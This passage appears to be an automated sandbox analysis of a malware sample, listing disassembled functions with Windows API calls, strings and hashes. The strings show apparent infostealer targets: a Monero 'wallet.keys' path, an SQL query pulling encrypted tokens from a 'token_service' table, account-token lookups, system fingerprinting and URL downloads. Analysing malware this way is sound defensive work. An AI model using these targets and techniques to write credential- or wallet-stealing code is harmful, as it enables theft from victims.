Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 1e037ec09fcf745c59bfe905fb2c51c2b9fedc645d0693077324de451d76fcd1
Instruction ID: 1aaf2acecd588d7180eb6b4164fed10ee11e4a1e374910e87a6be7df533e1664
Opcode Fuzzy Hash: 1e037ec09fcf745c59bfe905fb2c51c2b9fedc645d0693077324de451d76fcd1
Instruction Fuzzy Hash: 4E612AB59542689BDB24DB50DC41BEAB7F8BF44300F0081E9E649A6241DFB06FC9CFA1

Function 00BA40B0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00BA40D5
RegOpenKeyExA.KERNEL32(80000001,0063D600,00000000,00020119,?), ref: 00BA40F4
RegQueryValueExA.ADVAPI32(?,0063E368,00000000,00000000,00000000,000000FF), ref: 00BA4118
RegCloseKey.ADVAPI32(?), ref: 00BA4122
lstrcat.KERNEL32(?,00000000), ref: 00BA4147
lstrcat.KERNEL32(?,0063E290), ref: 00BA415B

Strings

Pc, xrefs: 00BA418B
hc, xrefs: 00BA410D

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: Pc$hc
API String ID: 2623679115-1158796174
Opcode ID: c197aeccd90c5e20cfa308efa968033ec2889116f6217430bad1f5ce1d6d95b1
Instruction ID: daad3c97d52eaff9d43a47a95c65f98c6ca3208950190fcdf018697a3faa314b
Opcode Fuzzy Hash: c197aeccd90c5e20cfa308efa968033ec2889116f6217430bad1f5ce1d6d95b1
Instruction Fuzzy Hash: 3341AF76D00208ABDF14EBA4DC46FFE737DA758300F408999B61597181EA755B888BF2

Function 00BA7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00BA7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BA757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7603
RtlAllocateHeap.NTDLL(00000000), ref: 00BA760A
wsprintfA.USER32 ref: 00BA7640

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Strings

C, xrefs: 00BA754C
:, xrefs: 00BA755C
\, xrefs: 00BA7560

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: c624047cf38e1430555244b76e803e001411992db6c84b03a9d49accd4821afe
Instruction ID: 95fb206a6f7c075b401aa9a9abd415e282fc44839d34ef4608db70fe6ec7cc7a
Opcode Fuzzy Hash: c624047cf38e1430555244b76e803e001411992db6c84b03a9d49accd4821afe
Instruction Fuzzy Hash: 734185B1D48348ABDB10DF98DC85BEEB7B8EF19700F104199F505A7280DB746A44CBA5

Function 00B9BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

lstrlen.KERNEL32(00000000), ref: 00B9BC9F

Part of subcall function 00BA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BA8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00B9BCCD
lstrlen.KERNEL32(00000000), ref: 00B9BDA5
lstrlen.KERNEL32(00000000), ref: 00B9BDB9

Strings

AccountTokens, xrefs: 00B9BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00B9BBEB
AccountId, xrefs: 00B9BCC4
AccountTokens, xrefs: 00B9BABA

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 908a7d844fa5c52230b94ba1dbfe4af0b9994fe82152f0cd08729a0ef938a8de
Instruction ID: 485c5ca21a0a32cd0685029437c962cd4df1ed13e0630ba9b4efbeb85de1f240
Opcode Fuzzy Hash: 908a7d844fa5c52230b94ba1dbfe4af0b9994fe82152f0cd08729a0ef938a8de
Instruction Fuzzy Hash: B4B15D72914108ABCF44FBA4DD96EEE73B8AF15300F4045A9F507B6191EF346A49CBB2

Function 00B94FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B94FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00B94FD1
InternetOpenA.WININET(00BB0DDF,00000000,00000000,00000000,00000000), ref: 00B94FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00B95011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00B95041
InternetCloseHandle.WININET(?), ref: 00B950B9
InternetCloseHandle.WININET(?), ref: 00B950C6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a29aeb4e31beab67656976ae2a85a2ab84720cb866587e26a75ff7ba817cb691
Instruction ID: a3d601485b48bb034a4d5c332fbb8580f20a0ecffb5b24253c2f609dea5fb579
Opcode Fuzzy Hash: a29aeb4e31beab67656976ae2a85a2ab84720cb866587e26a75ff7ba817cb691
Instruction Fuzzy Hash: 3A31F6B4A41218ABDB20CF54DC85BDDB7B4EB48704F1081E9FA09A7281C7706EC58FA9

Function 00BA83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BA8426
wsprintfA.USER32 ref: 00BA8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00BA847B
RegCloseKey.ADVAPI32(00000000), ref: 00BA848C
RegCloseKey.ADVAPI32(00000000), ref: 00BA8499

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

RegQueryValueExA.KERNEL32(00000000,0063E0E0,00000000,000F003F,?,00000400), ref: 00BA84EC
lstrlen.KERNEL32(?), ref: 00BA8501
RegQueryValueExA.KERNEL32(00000000,0063E128,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00BB0B34), ref: 00BA8599
RegCloseKey.KERNEL32(00000000), ref: 00BA8608
RegCloseKey.ADVAPI32(00000000), ref: 00BA861A

Strings

%s\%s, xrefs: 00BA844D

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d9a66f57779aafadfbebddab443de816079943ae68022e23533ec1efd079bd3b
Instruction ID: de953db0667f91c81023112e141ad04c4aa9437bdd7a1db5138ab6f5cee03e9c
Opcode Fuzzy Hash: d9a66f57779aafadfbebddab443de816079943ae68022e23533ec1efd079bd3b
Instruction Fuzzy Hash: CD2119B1910218ABDB24DB58DC85FE9B3F8FB48700F00C1D9E609A6240DF71AA85CFE4

Function 00BA7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00BA76AB
RegOpenKeyExA.KERNEL32(80000002,0062BE50,00000000,00020119,00000000), ref: 00BA76DD
RegQueryValueExA.KERNEL32(00000000,0063DFC0,00000000,00000000,?,000000FF), ref: 00BA76FE
RegCloseKey.ADVAPI32(00000000), ref: 00BA7708

Strings

Windows 11, xrefs: 00BA76BD

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 51a6468af0ae7edaec6e26a849b7243d091afd069f3eaac091a7709c3b14651d
Instruction ID: e5dc33c4069621c8c22926c24cae663da70823f92dc07fd5fa553f8a1732acff
Opcode Fuzzy Hash: 51a6468af0ae7edaec6e26a849b7243d091afd069f3eaac091a7709c3b14651d
Instruction Fuzzy Hash: D9014FB5A49308BBD700DBE8DC49FAAB7B8EB48701F108096FA04D7290DA7099009B61

Function 00BA7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA7734
RtlAllocateHeap.NTDLL(00000000), ref: 00BA773B
RegOpenKeyExA.KERNEL32(80000002,0062BE50,00000000,00020119,00BA76B9), ref: 00BA775B
RegQueryValueExA.KERNEL32(00BA76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00BA777A
RegCloseKey.ADVAPI32(00BA76B9), ref: 00BA7784

Strings

CurrentBuildNumber, xrefs: 00BA7771

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 895b74f062989b594f23f2962fa92a5e10e9bec225aab88dc7aa073d3f2c76a0
Instruction ID: 5552b6c038f0b6ab1653a9493be6b707081cac0b05315b101e5811d840bed7a9
Opcode Fuzzy Hash: 895b74f062989b594f23f2962fa92a5e10e9bec225aab88dc7aa073d3f2c76a0
Instruction Fuzzy Hash: 5801F4B5A40308BBD700DBE4DC49FBEB7B8EB44701F108596FA05E7291DA7059409B61

Function 00BA1A10 Relevance: 9.6, APIs: 2, Strings: 3, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

